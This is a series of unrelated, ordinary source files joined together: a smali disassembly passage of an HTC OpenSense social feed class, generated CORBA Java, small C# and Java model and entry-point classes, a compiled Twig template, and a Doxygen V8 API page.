    .local v1, dataList:Ljava/util/ArrayList;,"Ljava/util/ArrayList<Landroid/os/Parcelable;>;"
    if-eqz v4, :cond_0

    if-eqz v1, :cond_0

    .line 121
    invoke-static {}, Lcom/google/android/collect/Lists;->newArrayList()Ljava/util/ArrayList;

    move-result-object v2

    .line 122
    .local v2, feedList:Ljava/util/List;,"Ljava/util/List<Lcom/htc/opensense/social/FeedOp;>;"
    invoke-virtual {v1}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;

    move-result-object v3

    .local v3, i$:Ljava/util/Iterator;
    :goto_0
    invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z

    move-result v5

    if-eqz v5, :cond_1

    invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;

    move-result-object v0

    check-cast v0, Landroid/os/Parcelable;

    .line 123
    .local v0, data:Landroid/os/Parcelable;
    new-instance v5, Lcom/htc/opensense/social/FeedOp;

    check-cast v0, Lcom/htc/opensense/social/data/Feed;

    .end local v0           #data:Landroid/os/Parcelable;
    invoke-direct {v5, v4, v0}, Lcom/htc/opensense/social/FeedOp;-><init>(Lcom/htc/opensense/social/ISocialService;Lcom/htc/opensense/social/data/Feed;)V

    invoke-interface {v2, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z

    goto :goto_0

    .line 127
    .end local v2           #feedList:Ljava/util/List;,"Ljava/util/List<Lcom/htc/opensense/social/FeedOp;>;"
    .end local v3           #i$:Ljava/util/Iterator;
    :cond_0
    const/4 v2, 0x0

    :cond_1
    return-object v2
.end method

.method public static readOpFromIntent(Landroid/content/Intent;)Lcom/htc/opensense/social/FeedOp;
    .locals 2
    .parameter "intent"

    .prologue
    .line 156
    const-string v0, "com.htc.opensense.DATAININTENT"

    sget-object v1, Lcom/htc/opensense/social/FeedOp;->CREATOR:Lcom/htc/opensense/social/DataOp$OpCreator;

    invoke-static {p0, v0, v1}, Lcom/htc/opensense/social/FeedOp;->readOpFromIntent(Landroid/content/Intent;Ljava/lang/String;Lcom/htc/opensense/social/DataOp$OpCreator;)Lcom/htc/opensense/social/DataOp;

    move-result-object v0

    check-cast v0, Lcom/htc/opensense/social/FeedOp;

    return-object v0
.end method

.method public static readOpFromIntent(Landroid/content/Intent;Ljava/lang/String;)Lcom/htc/opensense/social/FeedOp;
    .locals 1
    .parameter "intent"
    .parameter "extra"

    .prologue
    .line 138
    sget-object v0, Lcom/htc/opensense/social/FeedOp;->CREATOR:Lcom/htc/opensense/social/DataOp$OpCreator;

    invoke-static {p0, p1, v0}, Lcom/htc/opensense/social/DataOp;->readOpFromIntent(Landroid/content/Intent;Ljava/lang/String;Lcom/htc/opensense/social/DataOp$OpCreator;)Lcom/htc/opensense/social/DataOp;

    move-result-object v0

    check-cast v0, Lcom/htc/opensense/social/FeedOp;

    return-object v0
.end method

.method public static readOpListFromIntent(Landroid/content/Intent;)Ljava/util/List;
    .locals 2
    .parameter "intent"
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "(",
            "Landroid/content/Intent;",
            ")",
            "Ljava/util/List",
            "<",
            "Lcom/htc/opensense/social/FeedOp;",
            ">;"
        }
    .end annotation

    .prologue
    .line 167
    const-string v0, "com.htc.opensense.DATALISTINTENT"

    sget-object v1, Lcom/htc/opensense/social/FeedOp;->CREATOR:Lcom/htc/opensense/social/DataOp$OpCreator;

    invoke-static {p0, v0, v1}, Lcom/htc/opensense/social/FeedOp;->readOpListFromIntent(Landroid/content/Intent;Ljava/lang/String;Lcom/htc/opensense/social/DataOp$OpCreator;)Ljava/util/List;

    move-result-object v0

    return-object v0
.end method

.method public static readOpListFromIntent(Landroid/content/Intent;Ljava/lang/String;)Ljava/util/List;
    .locals 1
    .parameter "intent"
    .parameter "extra"
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "(",
            "Landroid/content/Intent;",
            "Ljava/lang/String;",
            ")",
            "Ljava/util/List",
            "<",
            "Lcom/htc/opensense/social/FeedOp;",
            ">;"
        }
    .end annotation

    .prologue
    .line 149
    sget-object v0, Lcom/htc/opensense/social/FeedOp;->CREATOR:Lcom/htc/opensense/social/DataOp$OpCreator;

    invoke-static {p0, p1, v0}, Lcom/htc/opensense/social/DataOp;->readOpListFromIntent(Landroid/content/Intent;Ljava/lang/String;Lcom/htc/opensense/social/DataOp$OpCreator;)Ljava/util/List;

    move-result-object v0

    return-object v0
.end method

# virtual methods
.method public addComment(Ljava/lang/String;)Z
    .locals 9
    .parameter "text"
    .annotation system Ldalvik/annotation/Throws;
        value = {
            Lcom/htc/opensense/social/SocialNetworkError$SocialNetworkException;
        }
    .end annotation

    .prologue
    const/4 v6, 0x1

    const/4 v5, 0x0

    .line 227
    invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z

    move-result v7

    if-eqz v7, :cond_0

    .line 228
    const-string v6, "FeedService"

    const-string v7, "comment content is null or empty"

    invoke-static {v6, v7}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I

    .line 249
    :goto_0
    return v5

    .line 232
    :cond_0
    const/4 v3, 0x0

    .line 233
    .local v3, feed:Lcom/htc/opensense/social/data/Feed;
    new-instance v2, Lcom/htc/opensense/social/RemoteError;

    invoke-direct {v2}, Lcom/htc/opensense/social/RemoteError;-><init>()V

    .line 234
    .local v2, error:Lcom/htc/opensense/social/RemoteError;
    new-instance v0, Landroid/os/Bundle;

    invoke-direct {v0}, Landroid/os/Bundle;-><init>()V

    .line 235
    .local v0, bundle:Landroid/os/Bundle;
    const/4 v4, 0x0

    .line 236
    .local v4, result:Z
    const-string v7, "add feed type"

    const/16 v8, 0x102

    invoke-virtual {v0, v7, v8}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V

    .line 237
    const-string v7, "add feed content"

    invoke-virtual {v0, v7, p1}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V

    .line 240
    :try_start_0
    iget-object v7, p0, Lcom/htc/opensense/social/DataOp;->socialService:Lcom/htc/opensense/social/ISocialService;

    iget-object v8, p0, Lcom/htc/opensense/social/FeedOp;->mFeed:Lcom/htc/opensense/social/data/Feed;

    iget-object v8, v8, Lcom/htc/opensense/social/data/Feed;->id:Ljava/lang/String;

    invoke-interface {v7, v8, v0, v2}, Lcom/htc/opensense/social/ISocialService;->addFeed(Ljava/lang/String;Landroid/os/Bundle;Lcom/htc/opensense/social/RemoteError;)Lcom/htc/opensense/social/data/Feed;
    :try_end_0
    .catch Landroid/os/RemoteException; {:try_start_0 .. :try_end_0} :catch_0

    move-result-object v3

    .line 246
    :goto_1
    if-nez v3, :cond_1

    move v4, v5

    .line 248
    :goto_2
    invoke-virtual {v2}, Lcom/htc/opensense/social/RemoteError;->toRemoteException()V

    move v5, v4

    .line 249
    goto :goto_0

    .line 241
    :catch_0
    move-exception v1

    .line 242
    .local v1, e:Landroid/os/RemoteException;
    iput-boolean v6, v2, Lcom/htc/opensense/social/RemoteError;->failed:Z

    .line 243
    const-string v7, "FeedService"

    const-string v8, "add feed error"

    invoke-static {v7, v8, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I

    goto :goto_1

    .end local v1           #e:Landroid/os/RemoteException;
    :cond_1
    move v4, v6

    .line 246
    goto :goto_2
.end method

.method public deleteComment(Ljava/lang/String;)V
    .locals 5
    .parameter "comment_id"
    .annotation system Ldalvik/annotation/Throws;
        value = {
            Lcom/htc/opensense/social/SocialNetworkError$SocialNetworkException;
        }
    .end annotation

    .prologue
    .line 265
    invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z

    move-result v2

    if-eqz v2, :cond_0

    .line 266
    const-string v2, "FeedService"

    const-string v3, "comment id is null or empty"

    invoke-static {v2, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I

    .line 281
    :goto_0
    return-void

    .line 270
    :cond_0
    new-instance v1, Lcom/htc/opensense/social/RemoteError;

    invoke-direct {v1}, Lcom/htc/opensense/social/RemoteError;-><init>()V

    .line 273
    .local v1, error:Lcom/htc/opensense/social/RemoteError;
    :try_start_0
    iget-object v2, p0, Lcom/htc/opensense/social/DataOp;->socialService:Lcom/htc/opensense/social/ISocialService;

    const-string v3, "remove comment"

    const/4 v4, 0x0

    invoke-interface {v2, v3, p1, v4, v1}, Lcom/htc/opensense/social/ISocialService;->deleteAttachment(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Lcom/htc/opensense/social/RemoteError;)V
    :try_end_0
    .catch Landroid/os/RemoteException; {:try_start_0 .. :try_end_0} :catch_0

    .line 280
    :goto_1
    invoke-virtual {v1}, Lcom/htc/opensense/social/RemoteError;->toRemoteException()V

    goto :goto_0

    .line 275
    :catch_0
    move-exception v0

    .line 276
    .local v0, e:Landroid/os/RemoteException;
    const/4 v2, 0x1

    iput-boolean v2, v1, Lcom/htc/opensense/social/RemoteError;->failed:Z

    .line 277
    const-string v2, "FeedService"

    const-string v3, "add feed error"

    invoke-static {v2, v3, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I

    goto :goto_1
.end method

.method public getComments()Ljava/util/List;
    .locals 6
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "()",
            "Ljava/util/List",
            "<",
            "Lcom/htc/opensense/social/data/Comment;",
            ">;"
        }
    .end annotation

    .annotation system Ldalvik/annotation/Throws;
        value = {
            Lcom/htc/opensense/social/SocialNetworkError$SocialNetworkException;
        }
    .end annotation

    .prologue
    .line 199
    new-instance v2, Lcom/htc/opensense/social/RemoteError;

    invoke-direct {v2}, Lcom/htc/opensense/social/RemoteError;-><init>()V

    .line 200
    .local v2, error:Lcom/htc/opensense/social/RemoteError;
    const/4 v0, 0x0

    .line 202
    .local v0, attach:[Lcom/htc/opensense/social/data/Attachment;
    :try_start_0
    iget-object v3, p0, Lcom/htc/opensense/social/DataOp;->socialService:Lcom/htc/opensense/social/ISocialService;

    iget-object v4, p0, Lcom/htc/opensense/social/FeedOp;->mFeed:Lcom/htc/opensense/social/data/Feed;

    iget-object v4, v4, Lcom/htc/opensense/social/data/Feed;->id:Ljava/lang/String;

    invoke-interface {v3, v4, v2}, Lcom/htc/opensense/social/ISocialService;->getFeedComments(Ljava/lang/String;Lcom/htc/opensense/social/RemoteError;)[Lcom/htc/opensense/social/data/Attachment;

    move-result-object v0

    .line 203
    const-string v4, "FeedService"

    new-instance v3, Ljava/lang/StringBuilder;

    invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V

    const-string v5, "[getComments]attach count:"

    invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v5

    if-nez v0, :cond_0

    const/4 v3, 0x0

    :goto_0
    invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

    move-result-object v3

    invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v3

    invoke-static {v4, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
    :try_end_0
    .catch Landroid/os/RemoteException; {:try_start_0 .. :try_end_0} :catch_0

    .line 209
    :goto_1
    invoke-virtual {v2}, Lcom/htc/opensense/social/RemoteError;->toRemoteException()V

    .line 211
    iget-object v3, p0, Lcom/htc/opensense/social/DataOp;->socialService:Lcom/htc/opensense/social/ISocialService;

    const-class v4, Lcom/htc/opensense/social/data/Comment;

    invoke-static {v3, v0, v4}, Lcom/htc/opensense/social/FeedOp;->convertToAttachmentList(Lcom/htc/opensense/social/ISocialService;[Lcom/htc/opensense/social/data/Attachment;Ljava/lang/Class;)Ljava/util/List;

    move-result-object v3

    return-object v3

    .line 203
    :cond_0
    :try_start_1
    array-length v3, v0
    :try_end_1
    .catch Landroid/os/RemoteException; {:try_start_1 .. :try_end_1} :catch_0

    goto :goto_0

    .line 205
    :catch_0
    move-exception v1

    .line 206
    .local v1, e:Landroid/os/RemoteException;
    const/4 v3, 0x1

    iput-boolean v3, v2, Lcom/htc/opensense/social/RemoteError;->failed:Z

    .line 207
    const-string v3, "FeedService"

    const-string v4, "get comment error"

    invoke-static {v3, v4, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I

    goto :goto_1
.end method

.method public bridge synthetic getData()Landroid/os/Parcelable;
    .locals 1

    .prologue
    .line 28
    invoke-virtual {p0}, Lcom/htc/opensense/social/FeedOp;->getData()Lcom/htc/opensense/social/data/Feed;

    move-result-object v0

    return-object v0
.end method

.method public getData()Lcom/htc/opensense/social/data/Feed;
    .locals 1

    .prologue
    .line 70
    iget-object v0, p0, Lcom/htc/opensense/social/FeedOp;->mFeed:Lcom/htc/opensense/social/data/Feed;

    return-object v0
.end method

.method public setLike(Ljava/lang/Boolean;)Z
    .locals 7
    .parameter "like"
    .annotation system Ldalvik/annotation/Throws;
        value = {
            Lcom/htc/opensense/social/SocialNetworkError$SocialNetworkException;
        }
    .end annotation

    .prologue
    const/4 v4, 0x1

    .line 179
    new-instance v1, Lcom/htc/opensense/social/RemoteError;

    invoke-direct {v1}, Lcom/htc/opensense/social/RemoteError;-><init>()V

    .line 180
    .local v1, error:Lcom/htc/opensense/social/RemoteError;
    const/4 v3, 0x0

    .line 181
    .local v3, result:Z
    if-nez p1, :cond_1

    iget-object v5, p0, Lcom/htc/opensense/social/FeedOp;->mFeed:Lcom/htc/opensense/social/data/Feed;

    iget-boolean v5, v5, Lcom/htc/opensense/social/data/Feed;->userLikes:Z

    if-nez v5, :cond_0

    move v2, v4

    .line 183
    .local v2, newLike:Z
    :goto_0
    :try_start_0
    iget-object v5, p0, Lcom/htc/opensense/social/DataOp;->socialService:Lcom/htc/opensense/social/ISocialService;

    iget-object v6, p0, Lcom/htc/opensense/social/FeedOp;->mFeed:Lcom/htc/opensense/social/data/Feed;

    iget-object v6, v6, Lcom/htc/opensense/social/data/Feed;->id:Ljava/lang/String;

    invoke-interface {v5, v6, v2, v1}, Lcom/htc/opensense/social/ISocialService;->setFeedLike(Ljava/lang/String;ZLcom/htc/opensense/social/RemoteError;)Z
    :try_end_0
    .catch Landroid/os/RemoteException; {:try_start_0 .. :try_end_0} :catch_0

    move-result v3

    .line 188
    :goto_1
    invoke-virtual {v1}, Lcom/htc/opensense/social/RemoteError;->toRemoteException()V

    .line 189
    return v3

    .line 181
    .end local v2           #newLike:Z
    :cond_0
    const/4 v2, 0x0

    goto :goto_0

    :cond_1
    invoke-virtual {p1}, Ljava/lang/Boolean;->booleanValue()Z

    move-result v2

    goto :goto_0

    .line 184
    .restart local v2       #newLike:Z
    :catch_0
    move-exception v0

    .line 185
    .local v0, e:Landroid/os/RemoteException;
    iput-boolean v4, v1, Lcom/htc/opensense/social/RemoteError;->failed:Z

    .line 186
    const-string v4, "FeedService"

    const-string v5, "set like error"

    invoke-static {v4, v5, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I

    goto :goto_1
.end method


package org.omg.PortableServer.POAPackage;

/**
* org/omg/PortableServer/POAPackage/InvalidPolicy.java .
* Generated by the IDL-to-Java compiler (portable), version "3.2"
* from c:/re/workspace/8-2-build-windows-amd64-cygwin/jdk8u72/5732/corba/src/share/classes/org/omg/PortableServer/poa.idl
* Tuesday, December 22, 2015 7:17:38 PM PST
*/

public final class InvalidPolicy extends org.omg.CORBA.UserException
{
  public short index = (short)0;

  public InvalidPolicy ()
  {
    super(InvalidPolicyHelper.id());
  } // ctor

  public InvalidPolicy (short _index)
  {
    super(InvalidPolicyHelper.id());
    index = _index;
  } // ctor

  public InvalidPolicy (String $reason, short _index)
  {
    super(InvalidPolicyHelper.id() + "  " + $reason);
    index = _index;
  } // ctor

} // class InvalidPolicy


using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace SoundFix
{
    static class Program
    {
        /// <summary>
        /// The main entry point for the application.
        /// </summary>
        [STAThread]
        static void Main()
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            Application.Run(new Form1());
        }
    }
}


<?php

/* TwigBundle:Exception:traces_text.html.twig */
class __TwigTemplate_5370994ced2970ee63936cc0436fbfcd7d7b400cfa1c1d041f0124ab09f8bdd5 extends Twig_Template
{
    public function __construct(Twig_Environment $env)
    {
        parent::__construct($env);

        $this->parent = false;

        $this->blocks = array(
        );
    }

    protected function doDisplay(array $context, array $blocks = array())
    {
        // line 1
        echo "

        Stack Trace (Plain Text)
        ";
        // line 4
        ob_start();
        // line 5
        echo "

        ";
        echo trim(preg_replace('/>\s+</', '><', ob_get_clean()));
        // line 10
        echo "

";
        // line 13
        $context['_parent'] = (array) $context;
        $context['_seq'] = twig_ensure_traversable($this->getAttribute((isset($context["exception"]) ? $context["exception"] : $this->getContext($context, "exception")), "toarray", array()));
        foreach ($context['_seq'] as $context["i"] => $context["e"]) {
            // line 14
            echo "[";
            echo twig_escape_filter($this->env, ($context["i"] + 1), "html", null, true);
            echo "] ";
            echo twig_escape_filter($this->env, $this->getAttribute($context["e"], "class", array()), "html", null, true);
            echo ": ";
            echo twig_escape_filter($this->env, $this->getAttribute($context["e"], "message", array()), "html", null, true);
            echo "
";
            // line 15
            $this->env->loadTemplate("TwigBundle:Exception:traces.txt.twig")->display(array("exception" => $context["e"]));
        }
        $_parent = $context['_parent'];
        unset($context['_seq'], $context['_iterated'], $context['i'], $context['e'], $context['_parent'], $context['loop']);
        $context = array_intersect_key($context, $_parent) + $_parent;
        // line 16
        echo "

";
    }

    public function getTemplateName()
    {
        return "TwigBundle:Exception:traces_text.html.twig";
    }

    public function isTraitable()
    {
        return false;
    }

    public function getDebugInfo()
    {
        return array (  57 => 16,  51 => 15,  42 => 14,  38 => 13,  33 => 10,  26 => 5,  24 => 4,  19 => 1,);
    }
}


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.9.1"/>
<title>V8 API Reference Guide for node.js v0.10.46: Member List</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>

<link href="search/search.css" rel="stylesheet" type="text/css"/>

<link href="doxygen.css" rel="stylesheet" type="text/css" />

V8 API Reference Guide for node.js v0.10.46

Main Page

Namespaces

Classes

Files

Examples

          <input type="text" id="MSearchField" value="Search" accesskey="S"
               onfocus="searchBox.OnSearchFieldFocus(true)"
               onblur="searchBox.OnSearchFieldFocus(false)"
               onkeyup="searchBox.OnSearchFieldChange(event)"/>

Class List

Class Index

Class Hierarchy

Class Members

v8

Debug

EventDetails

v8::Debug::EventDetails Member List

This is the complete list of members for v8::Debug::EventDetails, including all inherited members.

GetCallbackData() const =0	v8::Debug::EventDetails	pure virtual

GetClientData() const =0	v8::Debug::EventDetails	pure virtual

GetEvent() const =0	v8::Debug::EventDetails	pure virtual

GetEventContext() const =0	v8::Debug::EventDetails	pure virtual

GetEventData() const =0 (defined in v8::Debug::EventDetails)	v8::Debug::EventDetails	pure virtual

GetExecutionState() const =0	v8::Debug::EventDetails	pure virtual

~EventDetails() (defined in v8::Debug::EventDetails)	v8::Debug::EventDetails	inlinevirtual

<address class="footer">
Generated by

 1.8.9.1
</address>


package com.iyzipay.model;

import com.iyzipay.HttpClient;
import com.iyzipay.Options;
import com.iyzipay.request.RetrieveCheckoutFormRequest;

public class CheckoutForm extends PaymentResource {

    private String token;
    private String callbackUrl;

    public static CheckoutForm retrieve(RetrieveCheckoutFormRequest request, Options options) {
        return HttpClient.create().post(options.getBaseUrl() + "/payment/iyzipos/checkoutform/auth/ecom/detail",
                getHttpHeaders(request, options),
                request,
                CheckoutForm.class);
    }

    public String getToken() {
        return token;
    }

    public void setToken(String token) {
        this.token = token;
    }

    public String getCallbackUrl() {
        return callbackUrl;
    }

    public void setCallbackUrl(String callbackUrl) {
        this.callbackUrl = callbackUrl;
    }
}


using System;
using System.Runtime.Serialization;

namespace Camunda.Api.Client.History
{
    public class HistoricProcessInstance
    {
        /// <summary>
        /// The id of the process instance.
        /// </summary>
        public string Id;
        /// <summary>
        /// The business key of the process instance.
        /// </summary>
        public string BusinessKey;
        /// <summary>
        /// The id of the process definition that this process instance belongs to.
        /// </summary>
        public string ProcessDefinitionId;
        /// <summary>
        /// The key of the process definition that this process instance belongs to.
        /// </summary>
        public string ProcessDefinitionKey;
        /// <summary>
        /// The name of the process definition that this process instance belongs to.
        /// </summary>
        public string ProcessDefinitionName;
        /// <summary>
        /// The time the instance was started.
        /// </summary>
        public DateTime StartTime;
        /// <summary>
        /// The time the instance ended.
        /// </summary>
        public DateTime EndTime;
        /// <summary>
        /// The time the instance took to finish (in milliseconds).
        /// </summary>
        public long DurationInMillis;
        /// <summary>
        /// The id of the user who started the process instance.
        /// </summary>
        public string StartUserId;
        /// <summary>
        /// The id of the initial activity that was executed (e.g., a start event).
        /// </summary>
        public string StartActivityId;
        /// <summary>
        /// The provided delete reason in case the process instance was canceled during execution./// </summary>
        public string DeleteReason;
        /// <summary>
        /// The id of the parent process instance, if it exists.
        /// </summary>
        public string SuperProcessInstanceId;
        /// <summary>
        /// The id of the parent case instance, if it exists.
        /// </summary>
        public string SuperCaseInstanceId;
        /// <summary>
        /// The id of the parent case instance, if it exists.
        /// </summary>
        public string CaseInstanceId;
        /// <summary>
        /// The tenant id of the process instance.
        /// </summary>
        public string TenantId;
        /// <summary>
        /// Last state of the process instance.
        /// </summary>
        public ProcessInstanceState State;

        public override string ToString() => Id;
    }

    public enum ProcessInstanceState
    {
        /// <summary>
        /// Running process instance
        /// </summary>
        [EnumMember(Value = "ACTIVE")]
        Active,
        /// <summary>
        /// Suspended process instances
        /// </summary>
        [EnumMember(Value = "SUSPENDED")]
        Suspended,
        /// <summary>
        /// Suspended process instances
        /// </summary>
        [EnumMember(Value = "COMPLETED")]
        Completed,
        /// <summary>
        /// Suspended process instances
        /// </summary>
        [EnumMember(Value = "EXTERNALLY_TERMINATED")]
        ExternallyTerminated,
        /// <summary>
        /// Terminated internally, for instance by terminating boundary event
        /// </summary>
        [EnumMember(Value = "INTERNALLY_TERMINATED")]
        InternallyTerminated,
    }
}